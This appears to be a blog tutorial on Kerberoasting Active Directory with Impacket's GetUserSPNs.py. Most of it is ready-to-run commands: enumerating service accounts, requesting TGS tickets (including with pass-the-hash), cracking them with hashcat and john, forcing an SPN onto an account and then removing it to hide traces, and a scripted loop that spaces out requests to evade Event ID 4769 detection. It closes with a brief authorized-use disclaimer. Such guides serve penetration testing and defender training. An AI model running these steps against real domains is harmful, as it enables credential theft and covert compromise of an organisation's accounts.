GetUserSPNs.py: Kerberoasting and TGS with Impacket

How to use impacket-GetUserSPNs to enumerate accounts with SPNs and request Kerberos TGS with passwords, NTLM hashes, caches, or AES keys for Windows Active Directory
- Posted on 2026-07-30
- Reading time: 5 min
GetUserSPNs.py — Kerberoasting with Impacket: A Complete Guide #
GetUserSPNs.py It does two things in sequence: it searches LDAP for user accounts with registered SPNs, then requests a Service Ticket for each. That ticket is encrypted with the account's password hash—crackable offline without ever interacting with the target directly.
GetUserSPNs.py is part of Packet and is the standard tool for Kerberoasting from Linux. The theory behind why the attack works—the encrypted TGS with the service account hash—is explained in detail in the article TGS and KerberoastingHere we focus on the tool: all the flags, advanced scenarios, and OPSEC choices that make the difference between a smooth Kerberoasting run and one that ends in an alert.
How it works internally #
The tool performs two distinct operations that are important to keep separate in your mind:
STEP 1 — Enumerazione SPN (LDAP, porta 389)
└── Query: (&(objectClass=user)(servicePrincipalName=*))
└── Filtra computer account (objectCategory=person)
└── Risultato: lista di account con SPN + metadati
STEP 2 — Richiesta TGS (Kerberos, porta 88) — solo con -request
└── Per ogni account trovato: TGS-REQ al KDC
└── KDC risponde con ticket cifrato con hash dell'account
└── Hash estratto e formattato per hashcat/johnYou can only do Step 1 (without -request) for reconnaissance, or both at once.
Syntax and all flags #
impacket-GetUserSPNs [opzioni] dominio/utente[:password]| Flag | What does he do |
|---|---|
-request | Requires the TGS for each SPN found — without this, it just enumerates |
-request-user USERNAME | Requires TGS only for a specific account — more stealth |
-outputfile FILE | Save hashes to file instead of printing them to screen |
-stealth | Removes the filter (servicePrincipalName=*) from LDAP query — less noise on LDAP monitoring, but heavier on large domains |
-no-preauth ACCOUNT | Use a non-pre-auth account to request TGS without credentials |
-usersfile FILE | List of SPN/account targets to roast (with -no-preauth) |
-target-domain DOMAIN | Cross-trust Kerberoasting to a different domain |
-machine-only | Computer account only (not user account) |
-hashes LM:NT | Pass-the-Hash to authenticate |
-k | Kerberos with ccache |
-aesKey KEY | AES key for authentication |
-dc-ip IP | Domain Controller IP |
-dc-host HOST | DC hostname (alternative to dc-ip) |
-save | Save each TGS as a file .ccache separate |
-debug | Verbose output |
Basic usage — list first, then decide #
The first thing to do is always list without requesting tickets . Look at what's available, evaluate the priorities, then attack only the targets worth cracking.
# Enumera SPN senza richiedere ticket — solo ricognizione
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip 10.10.10.5
# Output:
# ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
# ------------------------------------ ---------- --------- -------------------------- ---------
# MSSQLSvc/sql01.corp.local:1433 svc_sql 2019-03-10 08:00:00 <never>
# HTTP/web01.corp.local svc_web 2024-01-15 09:30:00 2024-03-01
# MSSQLSvc/sql02.corp.local:SQLEXPRESS svc_sql2 2021-06-01 12:00:00 2023-11-10What to evaluate in the output:
- Old LastSet Password (years) → probably weak password → high priority for cracking
- LastLogon
<never>→ abandoned account → historically more relaxed password policy - MemberOf → if it is in privileged groups, it is even more worth cracking
- Service Name →
MSSQLSvc,HTTP,WSMAN→ typical service accounts, often with weak passwords
Request tickets — all or just one #
# Tutti i TGS in un colpo
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip 10.10.10.5 \
-request -outputfile /tmp/kerberoast.txt
# Solo un account specifico — meno richieste, meno rumore
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip 10.10.10.5 \
-request-user svc_sql
# Con PtH
impacket-GetUserSPNs -hashes :NThash corp.local/user -dc-ip 10.10.10.5 \
-request -outputfile /tmp/kerberoast.txt
# Con TGT (Kerberos)
export KRB5CCNAME=user.ccache
impacket-GetUserSPNs -k -no-pass corp.local/user -dc-ip 10.10.10.5 \
-request -outputfile /tmp/kerberoast.txtThe hashes in the file have this format:
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3...The number after $krb5tgs$ It is the type of encryption: 23 = RC4, 17 = AES-128, 18 = AES-256.
Offline Crack #
# RC4 (etype 23) — il più comune, il più veloce da craccare
hashcat -m 13100 /tmp/kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 /tmp/kerberoast.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES-128 (etype 17)
hashcat -m 19600 /tmp/kerberoast.txt rockyou.txt
# AES-256 (etype 18)
hashcat -m 19700 /tmp/kerberoast.txt rockyou.txt
# John the Ripper
john --format=krb5tgs /tmp/kerberoast.txt --wordlist=rockyou.txtAdvanced Flags #
-stealth — hides the LDAP query
#
By default the LDAP query uses the filter (servicePrincipalName=*), which is a recognizable pattern for LDAP monitoring tools. With -stealth the filter is removed — the query unloads all user objects and then filter them client-side. This reduces network noise, but can be cumbersome on domains with thousands of objects.
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip 10.10.10.5 \
-request -stealth -outputfile /tmp/kerberoast.txt-request-user — single target
#
Instead of requesting TGS for all found SPNs, you attack only a specific account. A single TGS request generates much less noise than 15 consecutive ones within a few seconds—the main IoC of Kerberoasting is precisely the burst of Event ID 4769.
# Solo svc_sql — una singola richiesta TGS
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip 10.10.10.5 \
-request-user svc_sql-target-domain — cross-trust Kerberoasting
#
If the domain you're authenticating to has a forest trust or domain trust to another domain, you can Kerberoast the accounts in the trusted domain using your credentials. The local DC acts as a proxy to the target domain's DC.
# Sei autenticato su corp.local, vuoi roastare subsidiary.corp.local
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip 10.10.10.5 \
-target-domain subsidiary.corp.local -request -outputfile /tmp/cross_trust.txt-no-preauth — Kerberoasting without credentials
#
If you know a no-preauth account (AS-REP Roastable) and a list of target SPNs, you can request TGS without having valid credentials — the KDC uses the no-preauth account's AS-REP as initial authentication.
# bobby non richiede pre-auth → usalo per ottenere TGS sugli SPN in services.txt
impacket-GetUserSPNs corp.local/ \
-no-preauth bobby \
-usersfile services.txt \
-dc-host DC01.corp.local
# services.txt contiene SPN o sAMAccountName target:
# svc_sql
# svc_web
# MSSQLSvc/sql01.corp.local:1433Targeted Kerberoasting — Forces an SPN on an account #
If you have GenericWrite o GenericAll On an account that doesn't have an SPN, you can add one yourself—making it Kerberoastable—roast it, crack it, then remove the SPN to leave no traces. This is the technique known as Targeted Kerberoasting, explored in more detail in the article ACL Abuse.
# Con PowerView — aggiungi SPN all'account target
Set-DomainObject -Identity john.doe -SET @{serviceprincipalname='fake/FAKE'}
# Kerberoasta l'account
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip 10.10.10.5 \
-request-user john.doe
# Cracca l'hash
hashcat -m 13100 hash.txt rockyou.txt
# Rimuovi l'SPN (cleanup)
Set-DomainObject -Identity john.doe -Clear serviceprincipalnameOPSEC #
Kerberoasting is mainly detectable via Event ID 4769 (TGS-REQ) with these indicators:
| Indicator | Suspicious value |
|---|---|
| Ticket Options | 0x40810010 — fixed value of GetUserSPNs.py |
| EncryptionType | 0x17 (RC4) — anomaly on AES-only environments |
| Burst of requests | 10+ TGS in seconds from the same IP |
| Service Name | Not krbtgt, does not end with $ |
How to reduce noise:
# 1. Usa -request-user per un account alla volta invece del bulk
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request-user svc_sql
# 2. Aspetta tra una richiesta e l'altra (manuale o con script)
for user in svc_sql svc_web svc_backup; do
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request-user $user \
>> /tmp/hashes.txt
sleep $((RANDOM % 30 + 10))
done
# 3. Preferisci account con PasswordLastSet vecchia — più probabilità di craccare
# Evita account con password recente — meno probabilità di successo, stesso rumore
# 4. Se RC4 è disabilitato nel dominio, non forzarlo — usa AES per non generare anomalieCheat sheet #
# Enumera SPN (no ticket)
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP
# Richiedi tutti i TGS
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP \
-request -outputfile hashes.txt
# Target singolo (stealth)
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP \
-request-user svc_sql
# Con PtH
impacket-GetUserSPNs -hashes :NThash corp.local/user -dc-ip DC_IP -request
# Stealth (no SPN filter in LDAP)
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request -stealth
# Cross-trust
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP \
-target-domain other.domain -request
# Senza credenziali (account no-preauth noto)
impacket-GetUserSPNs corp.local/ -no-preauth bobby \
-usersfile spns.txt -dc-host DC01.corp.local
# Crack
hashcat -m 13100 hashes.txt rockyou.txt # RC4
hashcat -m 19600 hashes.txt rockyou.txt # AES-128
hashcat -m 19700 hashes.txt rockyou.txt # AES-256
john --format=krb5tgs hashes.txt --wordlist=rockyou.txtRelated articles:
- Impacket: complete suite
- TGS — Service Ticket and Kerberoasting in Depth
- Kerberos: Architecture and Flow
- ACL Abuse — Targeted Kerberoasting
- BloodHound — find Kerberoastable accounts
- Rubeus — Kerberoasting from Windows
- Hashcat: hash crack
- getTGT.py — Request a hashed/AES TGT
For use in authorized environments only.
#impacket #kerberos #kerberoasting #active-directory








